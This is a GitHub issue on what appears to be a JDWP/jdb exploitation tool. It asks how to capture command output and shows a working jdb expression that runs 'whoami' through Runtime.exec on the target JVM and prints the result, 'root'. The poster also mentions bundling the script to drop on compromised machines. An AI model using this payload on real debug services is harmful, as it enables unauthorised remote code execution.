Skip to content

Possible to get the command ouput #4

@maaaaz

Description

@maaaaz

Hello @hugsy,

I wondered whether it would even be possible to grab the command output, as going blind is sometimes tricky.

I don't know if it is possible as a loop has to be defined to grab the buffer stream...
This kind of stuff works (but for 1 line only), maybe you'll figure out how grab an output:

In a jdb session:

$ print new java.io.BufferedReader( new java.io.InputStreamReader( new java.lang.Runtime().exec("whoami").getInputStream())).readLine()

...
 new java.io.BufferedReader( new java.io.InputStreamReader( new java.lang.Runtime().exec("whoami").getInputStream())).readLine() = "root"

By the way, I took the liberty to bundle your original script for Windows in order to easily drop it on internal compromised machines: I obviously put a link to your repo, tell me if anything bothers.

Cheers.

Metadata

Metadata

Assignees

Type

No type
No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions